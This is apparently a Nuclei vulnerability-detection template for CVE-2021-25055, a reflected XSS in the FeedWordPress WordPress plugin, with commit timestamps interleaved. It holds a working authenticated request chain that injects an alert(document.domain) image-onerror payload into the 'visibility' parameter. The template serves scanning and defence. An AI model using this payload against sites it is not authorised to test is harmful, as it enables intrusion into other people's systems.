2022-03-27 14:25:03 +00:00
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id: CVE-2021-25055
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info:
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2022-03-27 16:43:08 +00:00
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name: FeedWordPress < 2022.0123 - Authenticated Reflected XSS
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2022-03-27 14:25:03 +00:00
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author: DhiyaneshDK
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severity: medium
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description: |
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The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the "visibility" parameter.
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reference:
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- https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055
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tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated
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2022-03-27 14:25:50 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.10
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cve-id: CVE-2021-25055
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cwe-id: CWE-79
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2022-03-27 14:25:03 +00:00
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requests:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<img src=1 onerror=alert(document.domain)>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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